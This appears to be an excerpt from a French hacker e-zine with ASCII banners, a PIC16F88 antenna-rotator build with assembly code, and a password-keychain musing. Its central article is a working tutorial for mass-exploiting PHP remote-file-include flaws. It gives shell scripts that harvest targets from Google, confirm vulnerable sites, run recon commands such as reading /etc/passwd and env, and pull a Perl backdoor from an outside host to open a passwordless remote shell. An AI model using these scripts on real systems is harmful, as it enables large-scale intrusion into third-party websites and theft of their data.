 | /dev/hda1 /mnt/windobe captive-ntfs gid=501,dmask=777,fmask=777 0 0      |
 | ....//                                                                   |
 |__________________________________________________________________________|

______________________________________________________________________________________________________

1.3 Interêt de ce tuto ? :

Bien  imaginez  que vous êtes dans une boîte ou dans votre lycée et que vous voulez foutre un 
peu le bordel,  c'est  le  moment de faire bouger tout ça :-). Par contre attention ! Si vous 
utilisez un live-cd il faudrais installer le systême dans le disque dur ou sinon modifier  sa 
distribution  pour  implenter  Captive  en  Live-CD.  Si vous avez des problèmes venez sur le 
forum :-P

Tutorial by -----x[FlUxIuS]x--> <<<[(-_-)]>>>
                                   
                                    (c)Hack3ver - All rights reversed.




  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |Vous voulez avoir l'air dun vrai hacker sans avoir a          \\_  \_ \   \\_ 1  + 
 || |apprendre? Le google hacking et pour vous:                    \_ \   \\_  \_ \ 1   
 ||'|http://johnny.ihackstuff.com                                    \\_  \_ \   \\_  x 
 || |des milliers de patterns vous attendent                          \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ ./google                                                              ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[21]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[un affaire d'antenne qui tourne] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: antenna rotator                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[     n0p      ]=\:\ _//     
                                                  \__\________________________/__/ 



Je n'ai pas l'intention de faire un grand texte style tutorial  pour  mon  ratator.  Je  vais 
seulement indiquer quelque precisions importante et pour le reste vous n'aurez qu'à me mailer 
à mon addresse actuelle soit celle à la fin de ce petit article.

Premierement  le  but  de  ce  projet  était  en  premier  lieu  de  faire  quelque chose qui 
fonctionnait independament du pc, qui utilisait un step motor et qui utilisait  le  "PCL"  du 
PIC. Il n'a donc pas été pensé afin d'être le plus pratique possible. Pour  répondre  tout de 
suite à la question, oui le PIC pourrait etre  branché  au  PC  afin  de  pouvoir  controller 
l'angle de l'antenne avec un software. Ce serait meme selon  moi  plus  facile que d'utiliser 
des bouton car nous n'avons plus besion de temporisation, d'attente d'initialisation etc.

Ceci  étant  dit,  parlons un peu du step motor. Il à été recyclé d'un vieu lecteur disquette 
5"1/4, il est unipolaire et fonctionne sous 12v, 70 ohms par coil. Les  2N2222a s ont donc un 
peu abusif mais je les avait sous la main. Vous pouvez donc ajuster votre choix de transistor 
en fonction du moteur que vous utiliserez. Vous  pourriez  aussi utiliser un moteur bipolaire 
avec deux H-bridges mais il faudrait  modifier  un  peu  le code du PIC. Les  kick-back diode 
pourrait elle aussi être facilement remplacée par à peu près n'importe quoi qui peu supporter 
~15v et l'ampèrage du moteur utilisé.

Regardons  de  plus  près ce PIC justement. J'ai utilisé un 16F88 car c'est avec eux  que  je 
travail  en  ce  moment mais un 16f84(a), 16f628 ou tout autre equivalent  ferait  très  bien 
l'affaire avec quelque modification mineur du code.

Pour  ce  qui est du circuit RC branché au schmitt trigger, vous devrez vous assurer  que  la 
constante de temps soit compatible avec le programme du PIC. Pour  les  boutons  branchés sur 
RB6, RB7, les valeurs ne sont pas trop critique mais pour ceux branchés à RB4 et RB5, je vous 
conseil vivement d'utiliser les valeurs de la shématique. 

Pour finir, pour ce qui est da l'alimentation, vous pouvez faire votre +5v avec  à  peu  près 
n'importe quoi car les deux chips suce un minimum de courant, le +12v quant à  lui, peu venir 
d'un PC ou de tout ce qui peut fournir le moteur en ampèrage.

Ha! j'oubliais, le montage a un bug, vous vous en rendrez compte, à la suite d'un  changement 
de l'angle de l'antenne du coté opposé à celui utilisé précédament, l'antenne va dabors faire 
un pas dans l'ancien sens pour ensuite faire les autres du  coté  demandé.  Cela est du a une 
mauvaise programmation mais ce n'est qu'un petit  circuit  vite  fait  et  je ne trouvais pas 
vraiment important de me forcer pour le  rendre parfait. Rien ne vous empêche de modifier mon 
code est de m'envoyer la correction ;).

J'espère que ces petites précisions pourrons vous aider à construire votre propre  rotator et 
si ce n'est pas suffisant, n'ésitez pas à m'écrire.

P.S. Je n'ai jamais suivit de cours en électronique donc je ne suis pas très au  courant  des 
normes et des conventions pour ce qui est de l'optimisation de  protoboard  et la création de 
shématique. J'espère que ceci ne rendra pas trop difficile la compréhention de ce texte.


n0p (n0px90@gmail.com)


---------------------- AJOUT DE DERNIERE MINUTE ---------------------
Apres avoir donné mon article en version final a Wyzeman, j'ai reçu une chip  qui  me  permet 
entre autre de driver un moteur unipolaire comme celui utilisé pour mon antenna rotator. J'ai 
donc décidé de refaire mon circuit en incluant  la  chip  en  question  (A6801 d'Allegro) qui 
remplace les quatres transistors et les quatres kick-back diode.  J'ai  ajouté  une pic de ce 
montage (circuit_ver1-1.JPG) mais pas de shematic car la  transition de un a l'autre est tres 
facile et de toute façon, ce n'est pas une chip qui cour les rues.
---------------------- AJOUT DE DERNIERE MINUTE ---------------------


---------------------------- cut here -------------------------------
	LIST p=16f88
	
	#include <p16f88.inc>

	__CONFIG _CONFIG1, B'11111111110000' ; WDT Disable, BOR Enable, PWRT Enable
	__CONFIG _CONFIG2, B'11111111111111'

OPTION_VAR EQU B'10000101'
OSCCON_VAR EQU B'01111110'
INTCON_VAR EQU B'10000000'

BANK0	macro
	bcf STATUS, RP0
	endm
BANK1	macro
	bsf STATUS, RP0
	endm

	CBLOCK 0x020
	pointer :1
	postscaler :1
	speed :1
	w_tmp
	status_tmp
	ENDC

	org 0x000
	goto init

	org 0x004
        movwf w_tmp
        swapf STATUS, w
        movwf status_tmp
        call inttmr0

        swapf status_tmp, w
        movwf STATUS
        swapf w_tmp, f
        swapf w_tmp, w

        retfie

inttmr0
	decf postscaler, f
	bcf INTCON, TMR0IF
	return

init
	clrf PORTA
	clrf PORTB
	BANK1
	movlw OPTION_VAR ; Register initialisation
	movwf OPTION_REG
	movlw OSCCON_VAR
	movwf OSCCON
	movlw INTCON_VAR
	movwf INTCON
	clrf ANSEL ; All PORTA = Digital
	clrf TRISA ; All PORTA = Output
	BANK0
	clrf pointer ; pointer = 0
	clrf speed ; speed = 0
init_button ; wait for button initialisation
	btfsc PORTB, 4
	goto init_button
	btfsc PORTB, 5
	goto init_button
	goto start

delay	; 8.192ms @ 8Mhz
	clrf TMR0
	bcf INTCON, TMR0IF
loop
	btfss INTCON, TMR0IF
	goto loop
	return

delay_sec ; 0.8192s @ 8Mhz
	clrf TMR0
	bcf INTCON, TMR0IF
	movlw 0x10 ; Numbre of TMR0 overflow (prescaler 1:64)
	movwf postscaler
	bsf INTCON, TMR0IE
loop_sec
	movf postscaler, w
        sublw 0x00 ; postscaler = 0?
        btfss STATUS, Z
	goto loop_sec
	bcf INTCON, TMR0IE
	return

step_cw
	movf pointer, w
	call bits
	movwf PORTA ; One step forward
	btfss PORTB, 6 ; If RB6 set speed-up cw
	call delay_sec
	call delay
	movf pointer, w
	sublw 0x03 ; pointer = 3?
	btfss STATUS, Z
	goto inc_ptr
	clrf pointer
	return
inc_ptr
	incf pointer, f
	return

step_ccw
	movf pointer, w
        call bits
        movwf PORTA ; One step backward
	btfss PORTB, 7 ; If RB7 set speed-up cw
	call delay_sec
        call delay
	movf pointer, w
	sublw 0x00 ; pointer = 0?
        btfss STATUS, Z
        goto dec_ptr
        movlw 0x03
	movwf pointer
        return
dec_ptr
        decf pointer, f
        return

bits
	addwf PCL, f
	retlw 0x01
	retlw 0x02
	retlw 0x04
	retlw 0x08
	
start
	btfsc PORTB, 4
	call step_cw
	btfsc PORTB, 5
	call step_ccw
	btfsc PORTB, 6
	call step_cw
	btfsc PORTB, 7
        call step_ccw
	goto start
	
	END

---------------------------- cut here -------------------------------


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |             http://mrgibson.zapto.org                        \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Membre Honnoraire du Webring Hack.fr                                  ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[22]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de google          ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: googleligeli googeligeli googeligeligeligeli              ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[     loytie   ]=\:\ _//     
                                                  \__\________________________/__/ 

Exploitation avec google par script


L'idée de cette technique consiste à utiliser une recherche google  avec  des  critères  bien 
définis pour obtenir une liste de sites vulnérables à une faille. Ce procédé ayant  déjà  été 
utilisé par différents vers dont celui exploitant une faille phpbb récente, effaçant  le site 
et se propageant en effectuant une nouvelle recherche par google de site vulnérable à la même 
faille.

Le but de ce texte n'est pas de montrer une des dernières failles à la mode mais explique une 
manière simple pour construire des scripts afin d'exploiter rapidement une faille de type Web 
et d'obtenir une liste de machine vulnérable.  La  suite  consistant  à  utilisé  les  droits 
obtenus par l'exploitation pour faire se que bon vous semble et dans le meilleur  des cas, un 
shell distant (le plus souvent sous l'id nobody).

L'idée  vient du livre "Google Hacking for Penetration Testers" par Syngress, qui en présente 
les bases. 

L'exemple  qui  suit  présente la façon d'obtenir par google, une liste de sites susceptibles 
d'être  vulnérables  à  la faille php include. Cette vielle faille est simple à comprendre et 
est  toujours  d'actualité quand toutes les conditions sont réunies. Suite à cette recherche, 
la seconde  étape  consiste  à vérifier que la machine est bien vulnérable. Et pour finir, la 
dernière étape permet d'exploiter la faille et obtenir un shell distant.

Les différents scripts sont écrit en Shell, utilise le navigateur lynx, le téléchargeur wget, 
les commandes de formatage awk et sed ainsi que les commandes unix de base et  les  principes 
de  programmation  shell.  Les  scripts  ne  sont pas forcement optimal, le but de l'exercice 
servant d'exemple.

Tous les codes sont disponibles sur: http://membres.lycos.fr/loytietoo/




La faille php include


La  faille  php  include  vient  d'une  erreur  de programmation d'une page PHP, utilisant la 
fonction  include  pour  intégrer au code une autre page du site. Dans notre cas, la fonction 
include utilise un argument passé par l'url pour connaître la page à inclure. 

exemple : http://www.exemple.xom?page=liens.php


En modifiant cet argument, il est possible d'inclure une autre page ou un fichier distant  ou 
non.

exemple 1 : http://www.exemple.xom?page=../../etc/passwd
exemple 2 : http://www.exemple.xom?page=http://www.google.com
exemple 3 : http://www.exemple.xom?page=http://www.monsite.com/code.txt

Dans cet exemple, on s'intéresse à l'exemple 3.

Sans rentrer dans les détails, il faut que toutes les conditions nécessaires soit réunis pour 
que cela fonctionne, cad que toutes les configs soient mauvaises : programmation  php, config 
php, config apache, config système.

Pour plus d'info sur la faille include : google.

L'exemple 3 permet d'inclure le fichier distant code .txt contenant du code php. Ce code  est 
inséré par include à celui du site www.exemple.com et exécuté par  php.  Le  format  txt  est 
justifié par le fait qu'il ne sera pas interprété par le site distant www.monsite.com (si php 
interprété).

exemple de code.txt :

<?
system("uname -a > /tmp/.null");

$lines=file("/tmp/.null");

foreach ($lines as $line) {
  echo $line . "<br>\n";
}
?>


PHP exécute la commande uname -a sur le système, copy la réponse dans /tmp/.null. Ensuite  il 
ouvre le fichier /tmp/.null et ajoute chaque ligne du fichier à la page html qu'il  génère en 
y ajoutant un saut de ligne <BR>.

La  commande  est  simple,  il  est  possible dés a présent d'ouvrir un shell en modifiant la 
commande,  soit  en  téléchargeant  un  script  shell  distant  par  la commande wget ou bien 
directement par nc.




La recherche google

Rechercher une liste de site susceptible d'être vulnérable à cette faille consiste à utiliser 
l'argument  "inurl"  de  google  en indiquant la variable d'inclusion du site www.exemple.com 
ainsi que le nom de la page incluse.


exemples :
inurl:?page=liens.php
inurl:?p=acceuil.php3
inurl:?include=start.html




Script de scan google

Le  but du script est de vérifier que les réponses que renvois google respectent les critères 
donnés,  cad  que l'url  est au bon format. Google permet d'afficher que 100  réponses  à  la 
fois, le script va  automatiser le scan de toutes les url page par page. Pour  finir,  toutes 
les urls répondant  au format sont enregistré dans un fichier.

Toutes les recherches sur google sont faites par lynx et enregistré par l'argument dump.


#!/bin/sh

# vérifier les arguments
if [ $# -ne 2 ]; then
        echo "Include scan v0.3"
        echo
        echo "Usage: scan.sh <variable> <search>"
        echo
        echo "example : http://www.example.com?page=index.php"
        echo "<variable> = page"
        echo "<search>   = index.php"
        echo
        exit 0
fi

# copier les arguments
VAR=$1
SEARCH=$2;
echo "search -> $VAR=$SEARCH"

# initialiser la recherche, 100 réponses à la fois (GNUM) à partir de 0 (GSTART)
GNUM=100
GSTART=0
rm -f list.txt .search.html

# rechercher le nombre de réponse total de google (COUNT)
# info : le nombre se trouve sur la ligne contenant about
set -- `lynx -dump "http://www.google.com/search?q=inurl%3A%3F$VAR=$SEARCH&num=1" | \ 
awk '/about/ { printf("%s", $8) }' |  sed -e 's/,//g'`

COUNT=$1
echo "count -> $COUNT"
echo

# tant que réponse total non ateint 
while [ "$GSTART" -le "$COUNT" ] ; do

        echo "list -> $GSTART of $COUNT"

        # enregistrer la page de recherche google dans .search.html
        lynx -dump "http://www.google.com/search?q=inurl%3A%3F$VAR=$SEARCH&num=$GNUM&start=$GSTART" > .search.html


        # vérifier chaque url de la reherche
	# enregistrer si respecte format
        sed -n "s/\. http:\/\/.*"$VAR"="$SEARCH"/& /p" .search.html | awk '{print $2}' >> list.txt

        # incrementer la recherche
        let GSTART=$GSTART+$GNUM;

done

# fin
rm .search.html
echo
echo "output list -> list.txt"




Script de vérification des sites vulnérables

Maintenant que l'on possède la liste des sites référencés par google  et  successible  d'être 
exploitable par la faille include, le  script  suivant  va  tester  chaque  url  en  essayant 
d'inclure le fichier code.txt.

Le fichier code.txt se contente d'afficher le mot "machtard" sur la page retournée. Le script 
vérifie  si  la  page  contient  ce  mot  et en déduit dans le cas positif que  le  site  est 
vulnérable. Au préalable, il faut créer le fichier code.txt sur un autre site.

code.txt :

<?
system("echo machtard > /tmp/.null2");

$lines=file("/tmp/.null2");

foreach ($lines as $line) {
  $line = str_replace("\$", "", $line);
  $line = str_replace("\<\?", "", $line);
  echo $line . "<br>\n";
}
?>


script :

#!/bin/sh

# vérifier les arguments
if [ $# -ne 2 ]; then
        echo "Include scan v0.3"
        echo
        echo "Usage: test.sh <variable> <search>"
        echo
        echo "example : http://www.example.com?page=index.php"
        echo "<variable> = page"
        echo "<search>   = index.php"
        echo
        exit 0
fi

# cpier les arguments
VAR=$1
SEARCH=$2
echo "search -> $VAR=$SEARCH"
echo

# initialiser le scan
VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code.txt"
rm -f vulnerable.txt

# pour chaque url du fichier
cat list.txt | while read line ; do

        # modifier l'url en ajoutant code.txt
        set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";`
        SITE=$1

        # demander la page
        lynx -dump $SITE > .site.html

	  # rechercher machtard dans la page
        set -- `cat .site.html | grep machtard | grep -v echo | awk '/machtard/ { printf("OK\n") }'`

        # si vulnérable, enregister l'url
        if [ "$1" = "OK" ]; then
                echo "[+] $line"
                echo $line >> vulnerable.txt
        else
                echo "[-] $line"
        fi

done

# fin
rm -f .site.html




Script de demande d'information


Maintenant  que  l'on  possède  une  liste  de  site  vulnérable, il est possible d’exploiter 
directement les cibles en récupérant des informations complémentaires grâce à  des  commandes 
unix exécutées depuis le code PHP. 

commandes :
uname -a
uptime
hostname
pwd
id
echo $PATH
cat /etc/passwd
ifconfig
cat /etc/resolv.conf
netstat -l
netstat -r
ps -auxf
lspci
lsmod
env

Pour chaque commande, on insère le résultat dans un fichier, que l'on  affiche  sur  la  page 
résultante de la même façon que le script précédent. De plus  on  inclue  au  code  html, une 
balise spécial afin de la reconnaître les informations qui nous intéressent dans le code html 
complet retourné. Les informations sont ajoutées dans un fichier  dédié  pour  en  garder une 
trace. Le fichier est copier dans un repertoire "hosts",  il faut le créer au préalable.


code2.txt : 
<loytie>
<?

system("echo > /tmp/.null2");

system("echo; uname -a >> /tmp/.null2");
system("echo; uptime >> /tmp/.null2");
system("echo; hostname >> /tmp/.null2");
system("echo; pwd >> /tmp/.null2");
system("echo; id >> /tmp/.null2");
system("echo; echo \$PATH >> /tmp/.null2");
system("echo; cat /etc/passwd | grep sh >> /tmp/.null2");
system("echo; ifconfig >> /tmp/.null2");
system("echo; cat /etc/resolv.conf >> /tmp/.null2");
system("echo; netstat -l >> /tmp/.null2");
system("echo; netstat -r >> /tmp/.null2");
system("echo; ps -auxf >> /tmp/.null2");
system("echo; lspci >> /tmp/.null2");
system("echo; lsmod >> /tmp/.null2");
system("echo; env >> /tmp/.null2");

$lines=file("/tmp/.null2");

foreach ($lines as $line) {
  $line = str_replace("\$", "", $line);
  $line = str_replace("\<\?", "", $line);
  echo $line;
}
?>
</loytie>


script :

#!/bin/sh

# vérifier les arguments
if [ $# -ne 2 ]; then
        echo "Include scan v0.3"
        echo
        echo "Usage: exploit.sh <variable> <search>"
        echo
        echo "example : http://www.example.com?page=index.php"
        echo "<variable> = page"
        echo "<search>   = index.php"
        echo
        exit 0
fi

# enregistrer les arguments
VAR=$1
SEARCH=$2;
echo "search -> $VAR=$SEARCH"
echo

# initialiser le script
VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code2.txt"

# pour chaque url 
cat vulnerable.txt | while read line ; do

        # recupérer le nom de domaine
        set -- `echo $line | awk -F "/" '{  print $3 }';`
        HOSTNAME=$1

        # modifier l'url en ajoutant code.txt
        set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";`
        SITE=$1

        # récupérer la page
        wget $SITE -O .site.html 2&> /dev/null

        # init
        find=0

        # scanner la page 
        cat .site.html | while read line2 ; do

		# si pas encore d'information
                # vérifier si la ligne contient la balise de départ
                if [ $find = "0" ]; then

                        set -- `echo $line2 | awk '/<loytie>/ { printf("OK\n") }'`
			
			# si balise alors début d'information
                        if [ "$1" = "OK" ]; then
                                find=1
                                echo $line > .info
                                echo >> .info
                                echo hostname "-> $HOSTNAME"
                        fi

                # si des informations
                # vefifier si balise de fin
		# sinon, enregistrer les informations
                else
                       set -- `echo $line2 | awk '/<\/loytie>/ { printf("OK\n") }'`

                        if [ "$1" = "OK" ]; then
                                find=0
                        fi

                        if [ "$find" = "1" ]; then
                                echo $line2 >> .info
                        fi
                fi

        done

        # enregistrer les informations
        cat .info >> hosts/$HOSTNAME

        # fin
        rm -f .site.html .info
done




Script pour obtenir un shell

Maintenant que nous disposons d'informations sur les cibles, il est possible de les  utiliser 
pour compromettre les  systèmes  avec  des  attaques  complémentaires...  Cependant,  il  est 
intéressant de disposer d'un shell plutôt que d'utiliser la méthode script par page web. 

Un  exemple  simple  consiste  à  faire télécharger par la cible un programme shell  distant, 
l'exécuter  et  pour  finalement  se  connecter dessus. J'utilise personnellement  le  script 
suivant : http://membres.lycos.fr/loytietoo/telnet.pl. Le script exécute un shell sur le port 
4123 sans mot de passe, il suffit de se connecter dessus en telnet.

telnet www.exemeple.com 4123

code3.txt :

<?

system("mkdir /tmp/.kernel");
system("wget http://membres.lycos.fr/loytietoo/telnet.pl -P /tmp/.kernel/");
system("/usr/bin/perl /tmp/.kernel/telnet.pl");

?>


script :
#!/bin/sh

# vérifier les arguments
if [ $# -ne 3 ]; then
        echo "Include scan v0.3"
        echo
        echo "Usage: telnet.sh <variable> <search> <host_file_info>"
        echo
        echo "example : www.example.com?page=index.php"
        echo "<variable> = page"
        echo "<search>   = index.php"
        echo "<host_file_info> = hosts/www.example.com"
        echo
        exit 0
fi

# copier les arguiments
VAR=$1
SEARCH=$2;
FILE=$3
echo

# initialiser
VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code3.txt"

# lire la premiere ligne du fichier d'information
read line < $FILE

# recuperer le domaine
set -- `echo $line | awk -F "/" '{  print $3 }';`
HOSTNAME=$1
echo $HOSTNAME

# modifier l'url
set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";`
SITE=$1

# recuperer la page
wget $SITE -T 15 -O .site.html 2&> /dev/null
rm -f .site.html

# telnet
telnet $HOSTNAME 4123




Conclusion

En espérant que cet exemple soit compréhensible et intéressant.

Tous les codes sont disponibles sur: http://membres.lycos.fr/loytietoo/


Cet exemple n'expose pas toutes les  conditions  nécessaires  pour  que  cela  fonctionne. En 
effet, il serait judicieux de rajouter des conditions aux  scripts  afin  de s'adapter à tous 
types d'architectures Unix. 

exemple 1 : le rep /tmp est il ecrivable et executable ? dans le cas contraire 
les scripts ne fonctionne pas
exemple 2 : l'ip est tel derriere un NAT ? dans ce cas il faut faire un reverse 
telnet 
...


Je suis persuadé que la base google est une bonne approche à la recherche de  vulnérabilités. 
Le site http://johnny.ihackstuff.com/ contient une base de  donnée  très intéressante sur les 
recherches d'informations sur Google. 

L'exemple montre aussi la puissance du shell  unix  pour  l'automatisation  de  processus. De 
toute façon, personne ne fait de hack sous windows (troll mdr).

Je suis ouvert à toutes suggestions ou corrections. 





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |                http://Www.Pyrofreak.Org                      \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Membre honnoraire du webring Hack.fr                                  ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[23]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[  un affaire de password       ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: that's it that's all pas de 2eme couche                   ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[  Lastcall_    =\:\ _//     
                                                  \__\________________________/__/ 




J'ai eu une idée : je réinvente le porte clefs
  aka J'me rappelle quand Wyze perdait ses clefs dans le zine



J'ai 2000 passwords

Façons nouvelles de gérer ça :
- biométrie = dla marde
- une carte d'accès universelle? universel dla marde
- un ti papier avec toute mes pass dessus? si j'le perds chu ownède facile
- un set de clefs...

Eureka.

Ce qu'il faut, c'est un set de clefs...
Ça  peut  être juste  un  petit device,  si  tu te  le  fais voler c'est bad évidemment, sauf 
que, tout comme un  set de clefs,  faut  que  la  personne  sache  qu'elle  porte  ça  ouvre. 
Finalement, tu fini par avoir tellement de clefs,  que  de perdre un set de clef  ça  devient 
un security risk moyennement  grand (entk  pas  plus grand que  de perdre tes clefs  en plein 
centre ville),  puisque t'es difficile à cibler.

Donc,
le  set  de clef  devrait  contenir un  moyen  d'accès à  toute  nos accounts.  évidemment la 
clef peut être fucking  complexe, vu qu'on a juste à  retenir  de  quoi  elle  a  l'air  pour 
l'associer à un account.

Donc, d'un point de vue interface, on pourrait par exemple associer une  image à un account.. 
ou encore un  mot ou un texte. (tout comme avec un vrai set  de  clefs  on  se rappelle de la 
marque pis  de l'allure de la clef, à la limite  un  print  out  du  hash  md5  dla  key   on  
finirait par reconnaître (sauf  si t'as 200  clefs  c  plus compliqué, mais aller  demander à 
vos concierge ski font..).  Fak  t'as juste à choisir quel clef utiliser dans ton porte clef, 
pis tu peux avoir accès à ton account.

Pour l'utilisation, faudrait  que ça soit  de quoi de physique, ou si c wifi d'un range <1cm. 
Genre tu choisi quel clef prendre, tu plugs la bidule dans le clavier, et t'es authentifié.

